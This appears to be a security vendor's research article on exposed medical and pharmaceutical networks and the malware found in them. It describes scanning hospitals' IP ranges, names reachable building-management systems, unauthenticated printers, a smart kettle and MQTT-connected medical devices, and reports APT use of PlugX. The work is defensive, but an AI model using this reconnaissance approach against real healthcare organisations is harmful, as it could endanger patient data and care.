The number of medical data breaches and leaks per year (source: HIPAA Journal)

Opened doors in medical networks

To find a potential entry point into medical infrastructure, we extract the IP ranges of all organizations that have the keywords “medic”, “clinic”, “hospit”, “surgery” and “healthcare” in the organization’s name, then we start the masscan (port scanner) and parse the specialized search engines (like Shodan and Censys) for publicly available resources of these organizations.

Masscan report extract

Of course, medical perimeters contain a lot of trivial opened ports and services: like web-server, DNS-server, mail-server etc. And you know that’s just the tip of the iceberg. The most interesting part is the non-trivial ports. We left out trivial services, because as we mentioned in our previous article those services are out of date and need to be patched. For example, the web applications of electronic medical records that we found on the perimeters in most cases were out of date.

The most popular ports are the tip of the iceberg. The most interesting part is the non-trivial ports.

The most popular opened ports on medical perimeters (18,723 live hosts; 27,716 opened ports)

Using ZTag tool and Censys, we identify what kinds of services are hidden behind these ports. If you try to look deeper in the embedded tag you will see different stuff: for example printers, SCADA-type systems, NAS etc.

Top services on medical network perimeters

Excluding these trivial things, we found Building Management systems that out of date. Devices using the Niagara Fox protocol usually operate on TCP ports 1911 and 4911. They allow us to gather information remotely from them, such as application name, Java version, host OS, time zone, local IP address, and software versions involved in the stack.

Example of extracted information about Niagara Fox service

Or printers that have a web interface without an authentication request. The dashboard available online and allows you to get information about internal Wi-Fi networks or, probably, it allows you to get info about documents that appeared in “Job Storage” logs.

Shodan told us that some medical organizations have an opened port 2000. It’s a smart kettle. We don’t know why, but this model of kettle is very popular in medical organizations. And they have publicly available information about a vulnerability that allows a connection to the kettle to be established using a simple pass and to extract info about the current Wi-Fi connection.

Medical infrastructure has a lot of medical devices, some of them portable. And devices like spirometers or blood pressure monitors support the MQTT protocol to communicate with other devices directly. One of the main components of the MQTT communication – brokers (see here for detailed information about components) are available through the Internet and, as a result, we can find some medical devices online.

Not only Smart Home components, but also medical devices are available via MQTT Spirometer

Threats that affect medical networks

OK, now we know how they get in. But what’s next? Do they search for personal data, or want to get some money with a ransom or maybe something else? Money? It’s possible… anything is possible. Let’s take a look at some numbers that we collected during 2017.

The statistics are a bit worrying. More than 60% of medical organizations had some kind of malware on their servers or computers. The good news is that if we count something here, it means we’ve deleted malware in the system.

Attacks detected in medical organizations, 2017

And there’s something even more interesting – organizations closely connected to hospitals, clinics and doctors, i.e. the pharmaceutical industry. Here we see even more attacks. The pharmaceutical industry means “money”, so it’s another titbit for attackers.

Attacks detected in pharmaceutical organizations, 2017

Let’s return to our patients. Where are all these attacked hospitals and clinics? Ok, here we the numbers are relative: we divided the number of devices in medical organizations in the country with our AV by the number of devices where we detected malicious code. The TOP 3 were the Philippines, Venezuela and Thailand. Japan, Saudi Arabia and Mexico took the last three spots in the TOP 15.

So the chances of being attacked really depend on how much money the government spends on cybersecurity in the public sector and the level of cybersecurity awareness.

Attacked devices in medical organizations, TOP 15 countries

In the pharmaceutical industry we have a completely different picture. First place belongs to Bangladesh. I googled this topic and now the stats look absolutely ok to me. Bangladesh exports meds to Europe. In Morocco big pharma accounts for 14% of GDP. India, too, is in the list, and even some European countries are featured.

Attacked devices in pharmaceutical organizations, TOP 15 countries

On one in ten devices and in more than 25% of medical and 10% of pharmaceutical companies we detected hacktools: pentesting tools like Mimikatz, Meterpreter, tweaked remote administration kits, and so on.

Which means that either medical organizations are very mature in terms of cybersecurity and perform constant audits of their own infrastructure using red teams and professional pentesters, or, more likely, their networks are infested with hackers.

Hacktools: Powerpreter, Meterpreter, Remote admin, etc.

APT

Our research showed that APT actors are interested in information from pharmaceutical organizations. We were able to identify victims in South East Asia, or more precisely, in Vietnam and Bangladesh. The criminals had targeted servers and used the infamous PlugX malware or Cobalt Strike to exfiltrate data.

PlugX RAT, used by Chinese-speaking APT actors, allows criminals to perform various malicious operations on a system without the user’s knowledge or authorization, including but not limited to copying and modifying files, logging keystrokes, stealing passwords and capturing screenshots of user activity. PlugX, as well as Cobalt Strike, is used by cybercriminals to discreetly steal and collect sensitive or profitable information. During our research we were unable to track the initial attack vectors, but there are signs that they could be attacks exploiting vulnerable software on servers.

Taking into account the fact that hackers placed their implants on the servers of pharmaceutical companies, we can assume they are after intellectual property or business plans.